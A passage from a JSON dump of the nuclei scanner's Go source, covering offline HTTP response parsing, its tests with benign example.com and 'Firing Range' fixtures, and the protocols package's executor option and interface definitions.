\"could not get correct matcher name of results\")\n\trequire.Equal(t, \"1.1.1.1\", finalEvent.Results[0].ExtractedResults[0], \"could not get correct extracted results\")\n}\n\nconst exampleRawRequest = `GET / HTTP/1.1\nHost: example.com\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\nIf-None-Match: \"3147526947+gzip\"\nIf-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT\nConnection: close\n\n`\n\nconst exampleRawResponse = exampleResponseHeader + exampleResponseBody\nconst exampleResponseHeader = `\nHTTP/1.1 200 OK\nAccept-Ranges: bytes\nAge: 493322\nCache-Control: max-age=604800\nContent-Type: text/html; charset=UTF-8\nDate: Thu, 04 Feb 2021 12:15:51 GMT\nEtag: \"3147526947+ident\"\nExpires: Thu, 11 Feb 2021 12:15:51 GMT\nLast-Modified: Thu, 17 Oct 2019 07:18:26 GMT\nServer: ECS (nyb/1D1C)\nVary: Accept-Encoding\nX-Cache: HIT\nContent-Length: 1256\nConnection: close\n`\n\nconst exampleResponseBody = `\n<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n    <style type=\"text/css\">\n    body {\n        background-color: #f0f0f2;\n        margin: 0;\n        padding: 0;\n        font-family: -apple-system, system-ui, BlinkMacSystemFont, \"Segoe UI\", \"Open Sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n        \n    }\n    div {\n        width: 600px;\n        margin: 5em auto;\n        padding: 2em;\n        background-color: #fdfdff;\n        border-radius: 0.5em;\n        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);\n    }\n    a:link, a:visited {\n        color: #38488f;\n        text-decoration: none;\n    }\n    @media (max-width: 700px) {\n        div {\n            margin: 0 auto;\n            width: auto;\n        }\n    }\n    </style>    \n</head>\n<a>1.1.1.1</a>\n<body>\n<div>\n    <h1>Example Domain</h1>\n    <p>This domain is for use in illustrative examples in documents. You may use this\n    domain in literature without prior coordination or asking for permission.</p>\n    <p><a href=\"https://www.iana.org/domains/example\">More information...</a></p>\n</div>\n</body>\n</html>\n`\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/read_response.go",
    "content": "package offlinehttp\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nvar noMinor = regexp.MustCompile(`HTTP/([0-9]) `)\n\n// readResponseFromString reads a raw http response from a string.\nfunc readResponseFromString(data string) (*http.Response, error) {\n\t// Check if \"data\" contains RFC compatible Request followed by a response\n\tbr := bufio.NewReader(strings.NewReader(data))\n\tif req, err := http.ReadRequest(br); err == nil {\n\t\tif resp, err := http.ReadResponse(br, req); err == nil {\n\t\t\treturn resp, nil\n\t\t}\n\t}\n\n\t// otherwise tries to patch known cases such as http minor version\n\tvar final string\n\tif strings.HasPrefix(data, \"HTTP/\") {\n\t\tfinal = addMinorVersionToHTTP(data)\n\t} else {\n\t\tlastIndex := strings.LastIndex(data, \"HTTP/\")\n\t\tif lastIndex == -1 {\n\t\t\treturn nil, errors.New(\"malformed raw http response\")\n\t\t}\n\t\tfinal = data[lastIndex:] // choose last http/ in case of it being later.\n\n\t\tfinal = addMinorVersionToHTTP(final)\n\t}\n\treturn http.ReadResponse(bufio.NewReader(strings.NewReader(final)), nil)\n}\n\n// addMinorVersionToHTTP tries to add a minor version to http status header\n// fixing the compatibility issue with go standard library.\nfunc addMinorVersionToHTTP(data string) string {\n\tmatches := noMinor.FindAllStringSubmatch(data, 1)\n\tif len(matches) == 0 {\n\t\treturn data\n\t}\n\tif len(matches[0]) < 2 {\n\t\treturn data\n\t}\n\treplacedVersion := strings.Replace(matches[0][0], matches[0][1], matches[0][1]+\".0\", 1)\n\tdata = strings.Replace(data, matches[0][0], replacedVersion, 1)\n\treturn data\n}\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/read_response_test.go",
    "content": "package offlinehttp\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/http/httputil\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReadResponseFromString(t *testing.T) {\n\texpectedBody := `<!DOCTYPE html>\n<html>\n<head>\n<title>Firing Range</title>\n</head>\n<body>\n   <h1>Version 0.48</h1>\n   <h1>What is the Firing Range?</h1>\n   <p>\n</body>\n</html>`\n\n\ttests := []struct {\n\t\tname string\n\t\tdata string\n\t}{\n\t\t{\n\t\t\tname: \"response\",\n\t\t\tdata: `HTTP/1.1 200 OK\nAge: 0\nCache-Control: public, max-age=600\nContent-Type: text/html\nServer: Google Frontend\n\n<!DOCTYPE html>\n<html>\n<head>\n<title>Firing Range</title>\n</head>\n<body>\n   <h1>Version 0.48</h1>\n   <h1>What is the Firing Range?</h1>\n   <p>\n</body>\n</html>`,\n\t\t},\n\t\t{\n\t\t\tname: \"response-http2-without-minor-version\",\n\t\t\tdata: `HTTP/2 200 OK\nAge: 0\nCache-Control: public, max-age=600\nContent-Type: text/html\nServer: Google Frontend\n\n<!DOCTYPE html>\n<html>\n<head>\n<title>Firing Range</title>\n</head>\n<body>\n   <h1>Version 0.48</h1>\n   <h1>What is the Firing Range?</h1>\n   <p>\n</body>\n</html>`,\n\t\t},\n\t\t{\n\t\t\tname: \"response-http2-with-minor-version\",\n\t\t\tdata: `HTTP/2.0 200 OK\nAge: 0\nCache-Control: public, max-age=600\nContent-Type: text/html\nServer: Google Frontend\n\n<!DOCTYPE html>\n<html>\n<head>\n<title>Firing Range</title>\n</head>\n<body>\n   <h1>Version 0.48</h1>\n   <h1>What is the Firing Range?</h1>\n   <p>\n</body>\n</html>`,\n\t\t},\n\t\t{\n\t\t\tname: \"request-response\",\n\t\t\tdata: `GET http://public-firing-range.appspot.com/ HTTP/1.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\n\nHTTP/1.1 200 OK\nAge: 0\nCache-Control: public, max-age=600\nContent-Type: text/html\nServer: Google Frontend\n\n<!DOCTYPE html>\n<html>\n<head>\n<title>Firing Range</title>\n</head>\n<body>\n   <h1>Version 0.48</h1>\n   <h1>What is the Firing Range?</h1>\n   <p>\n</body>\n</html>`,\n\t\t},\n\t\t{\n\t\t\tname: \"request-response-without-minor-version\",\n\t\t\tdata: `GET http://public-firing-range.appspot.com/ HTTP/1.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\n\nHTTP/2 200 OK\nAge: 0\nCache-Control: public, max-age=600\nContent-Type: text/html\nServer: Google Frontend\n\n<!DOCTYPE html>\n<html>\n<head>\n<title>Firing Range</title>\n</head>\n<body>\n   <h1>Version 0.48</h1>\n   <h1>What is the Firing Range?</h1>\n   <p>\n</body>\n</html>`,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresp, err := readResponseFromString(tt.data)\n\t\t\trequire.Nil(t, err, \"could not read response from string\")\n\n\t\t\trespData, err := io.ReadAll(resp.Body)\n\t\t\trequire.Nil(t, err, \"could not read response body\")\n\t\t\trequire.Equal(t, expectedBody, string(respData), \"could not get correct parsed body\")\n\t\t\trequire.Equal(t, \"Google Frontend\", resp.Header.Get(\"Server\"), \"could not get correct headers\")\n\t\t})\n\t}\n\n\tt.Run(\"test-live-response-with-content-length\", func(t *testing.T) {\n\t\tvar ts *httptest.Server\n\t\trouter := httprouter.New()\n\t\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\t\tw.Header().Add(\"Server\", \"Google Frontend\")\n\t\t\t_, _ = fmt.Fprintf(w, \"%s\", `<!DOCTYPE html>\n\t\t\t<html>\n\t\t\t<head>\n\t\t\t<title>Firing Range</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t   <h1>Version 0.48</h1>\n\t\t\t   <h1>What is the Firing Range?</h1>\n\t\t\t   <p>\n\t\t\t</body>\n\t\t\t</html>`)\n\t\t})\n\t\tts = httptest.NewServer(router)\n\t\tdefer ts.Close()\n\n\t\tclient := &http.Client{\n\t\t\tTimeout: 3 * time.Second,\n\t\t}\n\n\t\tdata, err := client.Get(ts.URL)\n\t\trequire.Nil(t, err, \"could not dial url\")\n\t\tdefer func() {\n\t\t\t_ = data.Body.Close()\n\t\t}()\n\n\t\tb, err := httputil.DumpResponse(data, true)\n\t\trequire.Nil(t, err, \"could not dump response\")\n\n\t\trespData, err := readResponseFromString(string(b))\n\t\trequire.Nil(t, err, \"could not read response from string\")\n\n\t\t_, err = io.ReadAll(respData.Body)\n\t\trequire.Nil(t, err, \"could not read response body\")\n\n\t\trequire.Equal(t, \"Google Frontend\", respData.Header.Get(\"Server\"), \"could not get correct headers\")\n\n\t})\n}\n"
  },
  {
    "path": "pkg/protocols/offlinehttp/request.go",
    "content": "package offlinehttp\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"os\"\n\n\t\"github.com/pkg/errors\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/utils/conversion\"\n\tsyncutil \"github.com/projectdiscovery/utils/sync\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n)\n\nvar _ protocols.Request = &Request{}\n\nconst maxSize = 5 * unitutils.Mega\n\n// Type returns the type of the protocol request\nfunc (request *Request) Type() templateTypes.ProtocolType {\n\treturn templateTypes.OfflineHTTPProtocol\n}\n\n// RawInputMode is a flag to indicate if the input is raw input\n// rather than a file path\nvar RawInputMode = false\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (request *Request) ExecuteWithResults(input *contextargs.Context, metadata, previous output.InternalEvent, callback protocols.OutputEventCallback) error {\n\tif RawInputMode {\n\t\treturn request.executeRawInput(input.MetaInput.Input, \"\", input, callback)\n\t}\n\n\twg, err := syncutil.New(syncutil.WithSize(request.options.Options.BulkSize))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = request.getInputPaths(input.MetaInput.Input, func(data string) {\n\t\twg.Add()\n\n\t\tgo func(data string) {\n\t\t\tdefer wg.Done()\n\n\t\t\tfile, err := os.Open(data)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Error().Msgf(\"Could not open file path %s: %s\\n\", data, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdefer func() {\n\t\t\t\t_ = file.Close()\n\t\t\t}()\n\n\t\t\tstat, err := file.Stat()\n\t\t\tif err != nil {\n\t\t\t\tgologger.Error().Msgf(\"Could not stat file path %s: %s\\n\", data, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif stat.Size() >= int64(maxSize) {\n\t\t\t\tgologger.Verbose().Msgf(\"Could not process path %s: exceeded max size\\n\", data)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbuffer, err := io.ReadAll(file)\n\t\t\tif err != nil {\n\t\t\t\tgologger.Error().Msgf(\"Could not read file path %s: %s\\n\", data, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdataStr := conversion.String(buffer)\n\n\t\t\tif err := request.executeRawInput(dataStr, data, input, callback); err != nil {\n\t\t\t\tgologger.Error().Msgf(\"Could not execute raw input %s: %s\\n\", data, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}(data)\n\t})\n\twg.Wait()\n\tif err != nil {\n\t\trequest.options.Output.Request(request.options.TemplatePath, input.MetaInput.Input, \"file\", err)\n\t\trequest.options.Progress.IncrementFailedRequestsBy(1)\n\t\treturn errors.Wrap(err, \"could not send file request\")\n\t}\n\trequest.options.Progress.IncrementRequests()\n\treturn nil\n}\n\nfunc (request *Request) executeRawInput(data, inputString string, input *contextargs.Context, callback protocols.OutputEventCallback) error {\n\tresp, err := readResponseFromString(data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not read raw response\")\n\t}\n\n\tif request.options.Options.Debug || request.options.Options.DebugRequests {\n\t\tgologger.Info().Msgf(\"[%s] Dumped offline-http request for %s\", request.options.TemplateID, data)\n\t\tgologger.Print().Msgf(\"%s\", data)\n\t}\n\tgologger.Verbose().Msgf(\"[%s] Sent OFFLINE-HTTP request to %s\", request.options.TemplateID, data)\n\n\tdumpedResponse, err := httputil.DumpResponse(resp, true)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not dump raw http response\")\n\t}\n\n\tbody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not read raw http response body\")\n\t}\n\treqURL := inputString\n\tif inputString == \"\" {\n\t\treqURL = getURLFromRequest(resp.Request)\n\t}\n\n\toutputEvent := request.responseToDSLMap(resp, data, reqURL, data, conversion.String(dumpedResponse), conversion.String(body), utils.HeadersToString(resp.Header), 0, nil)\n\t// add response fields to template context and merge templatectx variables to output event\n\trequest.options.AddTemplateVars(input.MetaInput, request.Type(), request.GetID(), outputEvent)\n\tif request.options.HasTemplateCtx(input.MetaInput) {\n\t\toutputEvent = generators.MergeMaps(outputEvent, request.options.GetTemplateCtx(input.MetaInput).GetAll())\n\t}\n\toutputEvent[\"ip\"] = \"\"\n\n\tevent := eventcreator.CreateEvent(request, outputEvent, request.options.Options.Debug || request.options.Options.DebugResponse)\n\tcallback(event)\n\treturn nil\n}\n\nfunc getURLFromRequest(req *http.Request) string {\n\tif req.URL.Scheme == \"\" {\n\t\treq.URL.Scheme = \"https\"\n\t}\n\treturn fmt.Sprintf(\"%s://%s%s\", req.URL.Scheme, req.Host, req.URL.Path)\n}\n\n// UpdateOptions replaces this request's options with a new copy\nfunc (r *Request) UpdateOptions(opts *protocols.ExecutorOptions) {\n\tr.options = opts\n}\n"
  },
  {
    "path": "pkg/protocols/protocols.go",
    "content": "package protocols\n\nimport (\n\t\"context\"\n\t\"encoding/base64\"\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\n\t\"github.com/logrusorgru/aurora\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/authprovider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/frequency\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/parser\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/projectfile\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n)\n\nvar (\n\tMaxTemplateFileSizeForEncoding = unitutils.Mega\n)\n\n// Executer is an interface implemented any protocol based request executer.\ntype Executer interface {\n\t// Compile compiles the execution generators preparing any requests possible.\n\tCompile() error\n\t// Requests returns the total number of requests the rule will perform\n\tRequests() int\n\t// Execute executes the protocol group and returns true or false if results were found.\n\tExecute(ctx *scan.ScanContext) (bool, error)\n\t// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\n\tExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error)\n}\n\n// TemplateVerification holds cached verification information for a template.\ntype TemplateVerification struct {\n\tVerified bool\n\tVerifier string\n}\n\n// ExecutorOptions contains the configuration options for executer clients\ntype ExecutorOptions struct {\n\t// TemplateID is the ID of the template for the request\n\tTemplateID string\n\t// TemplatePath is the path of the template for the request\n\tTemplatePath string\n\t// TemplateInfo contains information block of the template request\n\tTemplateInfo model.Info\n\t// TemplateVerifier is the verifier for the template\n\tTemplateVerifier string\n\t// TemplateVerificationCallback returns cached verification info for a template path.\n\t// If it returns nil, verification should be computed normally.\n\tTemplateVerificationCallback func(templatePath string) *TemplateVerification\n\t// RawTemplate is the raw template for the request\n\tRawTemplate []byte\n\t// Output is a writer interface for writing output events from executer.\n\tOutput output.Writer\n\t// Options contains configuration options for the executer.\n\tOptions *types.Options\n\t// IssuesClient is a client for nuclei issue tracker reporting\n\tIssuesClient reporting.Client\n\t// Progress is a progress client for scan reporting\n\tProgress progress.Progress\n\t// RateLimiter is a rate-limiter for limiting sent number of requests.\n\tRateLimiter *ratelimit.Limiter\n\t// Catalog is a template catalog implementation for nuclei\n\tCatalog catalog.Catalog\n\t// ProjectFile is the project file for nuclei\n\tProjectFile *projectfile.ProjectFile\n\t// Browser is a browser engine for running headless templates\n\tBrowser *engine.Browser\n\t// Interactsh is a client for interactsh oob polling server\n\tInteractsh *interactsh.Client\n\t// HostErrorsCache is an optional cache for handling host errors\n\tHostErrorsCache hosterrorscache.CacheInterface\n\t// Stop execution once first match is found (Assigned while parsing templates)\n\t// Note: this is different from Options.StopAtFirstMatch (Assigned from CLI option)\n\tStopAtFirstMatch bool\n\t// Variables is a list of variables from template\n\tVariables variables.Variable\n\t// Constants is a list of constants from template\n\tConstants map[string]interface{}\n\t// ExcludeMatchers is the list of matchers to exclude\n\tExcludeMatchers *excludematchers.ExcludeMatchers\n\t// InputHelper is a helper for input normalization\n\tInputHelper *input.Helper\n\t// FuzzParamsFrequency is a cache for parameter frequency\n\tFuzzParamsFrequency *frequency.Tracker\n\t// FuzzStatsDB is a database for fuzzing stats\n\tFuzzStatsDB *stats.Tracker\n\n\tOperators []*operators.Operators // only used by offlinehttp module\n\n\t// DoNotCache bool disables optional caching of the templates structure\n\tDoNotCache bool\n\n\tColorizer      aurora.Aurora\n\tWorkflowLoader model.WorkflowLoader\n\tResumeCfg      *types.ResumeCfg\n\t// ProtocolType is the type of the template\n\tProtocolType templateTypes.ProtocolType\n\t// Flow is execution flow for the template (written in javascript)\n\tFlow string\n\t// IsMultiProtocol is true if template has more than one protocol\n\tIsMultiProtocol bool\n\t// templateStore is a map which contains template context for each scan  (i.e input * template-id pair)\n\ttemplateCtxStore *mapsutil.SyncLockMap[string, *contextargs.Context]\n\t// JsCompiler is abstracted javascript compiler which adds node modules and provides execution\n\t// environment for javascript templates\n\tJsCompiler *compiler.Compiler\n\t// AuthProvider is a provider for auth strategies\n\tAuthProvider authprovider.AuthProvider\n\t//TemporaryDirectory is the directory to store temporary files\n\tTemporaryDirectory string\n\tParser             parser.Parser\n\t// ExportReqURLPattern exports the request URL pattern\n\t// in ResultEvent it contains the exact url pattern (ex: {{BaseURL}}/{{randstr}}/xyz) used in the request\n\tExportReqURLPattern bool\n\t// GlobalMatchers is the storage for global matchers with http passive templates\n\tGlobalMatchers *globalmatchers.Storage\n\t// Logger is the shared logging instance\n\tLogger *gologger.Logger\n\t// CustomFastdialer is a fastdialer dialer instance\n\tCustomFastdialer *fastdialer.Dialer\n\t// ClusterMappings stores cluster ID to template IDs mapping during execution\n\tClusterMappings *templateTypes.ClusterMappingsMap\n}\n\n// todo: centralizing components is not feasible with current clogged architecture\n// a possible approach could be an internal event bus with pub-subs? This would be less invasive than\n// reworking dep injection from scratch\nfunc (e *ExecutorOptions) RateLimitTake() {\n\t// The code below can race and there isn't a great way to fix this without adding an idempotent\n\t// function to the rate limiter implementation. For now, stick with whatever rate is already set.\n\t/*\n\t\tif e.RateLimiter.GetLimit() != uint(e.Options.RateLimit) {\n\t\t\te.RateLimiter.SetLimit(uint(e.Options.RateLimit))\n\t\t\te.RateLimiter.SetDuration(e.Options.RateLimitDuration)\n\t\t}\n\t*/\n\tif e.RateLimiter != nil {\n\t\te.RateLimiter.Take()\n\t}\n}\n\n// GetThreadsForNPayloadRequests returns the number of threads to use as default for\n// given max-request of payloads\nfunc (e *ExecutorOptions) GetThreadsForNPayloadRequests(totalRequests int, currentThreads int) int {\n\tif currentThreads > 0 {\n\t\treturn currentThreads\n\t}\n\n\treturn e.Options.PayloadConcurrency\n}\n\n// CreateTemplateCtxStore creates template context store (which contains templateCtx for every scan)\nfunc (e *ExecutorOptions) CreateTemplateCtxStore() {\n\te.templateCtxStore = &mapsutil.SyncLockMap[string, *contextargs.Context]{\n\t\tMap:      make(map[string]*contextargs.Context),\n\t\tReadOnly: atomic.Bool{},\n\t}\n}\n\n// RemoveTemplateCtx removes template context of given scan from store\nfunc (e *ExecutorOptions) RemoveTemplateCtx(input *contextargs.MetaInput) {\n\tscanId := input.GetScanHash(e.TemplateID)\n\tif e.templateCtxStore != nil {\n\t\te.templateCtxStore.Delete(scanId)\n\t}\n}\n\n// HasTemplateCtx returns true if template context exists for given input\nfunc (e *ExecutorOptions) HasTemplateCtx(input *contextargs.MetaInput) bool {\n\tscanId := input.GetScanHash(e.TemplateID)\n\tif e.templateCtxStore != nil {\n\t\treturn e.templateCtxStore.Has(scanId)\n\t}\n\treturn false\n}\n\n// GetTemplateCtx returns template context for given input\nfunc (e *ExecutorOptions) GetTemplateCtx(input *contextargs.MetaInput) *contextargs.Context {\n\tscanId := input.GetScanHash(e.TemplateID)\n\tif e.templateCtxStore == nil {\n\t\t// if template context store is not initialized create it\n\t\te.CreateTemplateCtxStore()\n\t}\n\t// get template context from store\n\ttemplateCtx, ok := e.templateCtxStore.Get(scanId)\n\tif !ok {\n\t\t// if template context does not exist create new and add it to store and return it\n\t\ttemplateCtx = contextargs.New(context.Background())\n\t\ttemplateCtx.MetaInput = input\n\t\t_ = e.templateCtxStore.Set(scanId, templateCtx)\n\t}\n\treturn templateCtx\n}\n\n// AddTemplateVars adds vars to template context with given template type as prefix\n// this method is no-op if template is not multi protocol\nfunc (e *ExecutorOptions) AddTemplateVars(input *contextargs.MetaInput, reqType templateTypes.ProtocolType, reqID string, vars map[string]interface{}) {\n\t// if we want to disable adding response variables and other variables to template context\n\t// this is the statement that does it . template context is currently only enabled for\n\t// multiprotocol and flow templates\n\tif !e.IsMultiProtocol && e.Flow == \"\" {\n\t\t// no-op if not multi protocol template or flow template\n\t\treturn\n\t}\n\ttemplateCtx := e.GetTemplateCtx(input)\n\tfor k, v := range vars {\n\t\tif stringsutil.HasPrefixAny(k, templateTypes.SupportedProtocolsStrings()...) {\n\t\t\t// this was inherited from previous protocols no need to modify it we can directly set it or omit\n\t\t\ttemplateCtx.Set(k, v)\n\t\t\tcontinue\n\t\t}\n\t\tif !stringsutil.EqualFoldAny(k, \"template-id\", \"template-info\", \"template-path\") {\n\t\t\tif reqID != \"\" {\n\t\t\t\tk = reqID + \"_\" + k\n\t\t\t} else if reqType < templateTypes.InvalidProtocol {\n\t\t\t\tk = reqType.String() + \"_\" + k\n\t\t\t}\n\t\t\ttemplateCtx.Set(k, v)\n\t\t}\n\t}\n}\n\n// AddTemplateVar adds given var to template context with given template type as prefix\n// this method is no-op if template is not multi protocol\nfunc (e *ExecutorOptions) AddTemplateVar(input *contextargs.MetaInput, templateType templateTypes.ProtocolType, reqID string, key string, value interface{}) {\n\tif !e.IsMultiProtocol && e.Flow == \"\" {\n\t\t// no-op if not multi protocol template or flow template\n\t\treturn\n\t}\n\ttemplateCtx := e.GetTemplateCtx(input)\n\tif stringsutil.HasPrefixAny(key, templateTypes.SupportedProtocolsStrings()...) {\n\t\t// this was inherited from previous protocols no need to modify it we can directly set it or omit\n\t\ttemplateCtx.Set(key, value)\n\t\treturn\n\t}\n\tif reqID != \"\" {\n\t\tkey = reqID + \"_\" + key\n\t} else if templateType < templateTypes.InvalidProtocol {\n\t\tkey = templateType.String() + \"_\" + key\n\t}\n\ttemplateCtx.Set(key, value)\n}\n\n// Copy returns a copy of the executeroptions structure\nfunc (e *ExecutorOptions) Copy() *ExecutorOptions {\n\tcopy := &ExecutorOptions{\n\t\tTemplateID:          e.TemplateID,\n\t\tTemplatePath:        e.TemplatePath,\n\t\tTemplateInfo:        e.TemplateInfo,\n\t\tTemplateVerifier:    e.TemplateVerifier,\n\t\tTemplateVerificationCallback: e.TemplateVerificationCallback,\n\t\tRawTemplate:         e.RawTemplate,\n\t\tOutput:              e.Output,\n\t\tOptions:             e.Options,\n\t\tIssuesClient:        e.IssuesClient,\n\t\tProgress:            e.Progress,\n\t\tRateLimiter:         e.RateLimiter,\n\t\tCatalog:             e.Catalog,\n\t\tProjectFile:         e.ProjectFile,\n\t\tBrowser:             e.Browser,\n\t\tInteractsh:          e.Interactsh,\n\t\tHostErrorsCache:     e.HostErrorsCache,\n\t\tStopAtFirstMatch:    e.StopAtFirstMatch,\n\t\tVariables:           e.Variables,\n\t\tConstants:           e.Constants,\n\t\tExcludeMatchers:     e.ExcludeMatchers,\n\t\tInputHelper:         e.InputHelper,\n\t\tFuzzParamsFrequency: e.FuzzParamsFrequency,\n\t\tFuzzStatsDB:         e.FuzzStatsDB,\n\t\tOperators:           e.Operators,\n\t\tDoNotCache:          e.DoNotCache,\n\t\tColorizer:           e.Colorizer,\n\t\tWorkflowLoader:      e.WorkflowLoader,\n\t\tResumeCfg:           e.ResumeCfg,\n\t\tProtocolType:        e.ProtocolType,\n\t\tFlow:                e.Flow,\n\t\tIsMultiProtocol:     e.IsMultiProtocol,\n\t\tJsCompiler:          e.JsCompiler,\n\t\tAuthProvider:        e.AuthProvider,\n\t\tTemporaryDirectory:  e.TemporaryDirectory,\n\t\tParser:              e.Parser,\n\t\tExportReqURLPattern: e.ExportReqURLPattern,\n\t\tGlobalMatchers:      e.GlobalMatchers,\n\t\tLogger:              e.Logger,\n\t}\n\tcopy.ClusterMappings = e.ClusterMappings.Copy()\n\tcopy.CreateTemplateCtxStore()\n\treturn copy\n}\n\n// Request is an interface implemented any protocol based request generator.\ntype Request interface {\n\t// Compile compiles the request generators preparing any requests possible.\n\tCompile(options *ExecutorOptions) error\n\t// Requests returns the total number of requests the rule will perform\n\tRequests() int\n\t// GetID returns the ID for the request if any. IDs are used for multi-request\n\t// condition matching. So, two requests can be sent and their match can\n\t// be evaluated from the third request by using the IDs for both requests.\n\tGetID() string\n\t// Match performs matching operation for a matcher on model and returns:\n\t// true and a list of matched snippets if the matcher type is supports it\n\t// otherwise false and an empty string slice\n\tMatch(data map[string]interface{}, matcher *matchers.Matcher) (bool, []string)\n\t// Extract performs extracting operation for an extractor on model and returns true or false.\n\tExtract(data map[string]interface{}, matcher *extractors.Extractor) map[string]struct{}\n\t// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\n\tExecuteWithResults(input *contextargs.Context, dynamicValues, previous output.InternalEvent, callback OutputEventCallback) error\n\t// MakeResultEventItem creates a result event from internal wrapped event. Intended to be used by MakeResultEventItem internally\n\tMakeResultEventItem(wrapped *output.InternalWrappedEvent) *output.ResultEvent\n\t// MakeResultEvent creates a flat list of result events from an internal wrapped event, based on successful matchers and extracted data\n\tMakeResultEvent(wrapped *output.InternalWrappedEvent) 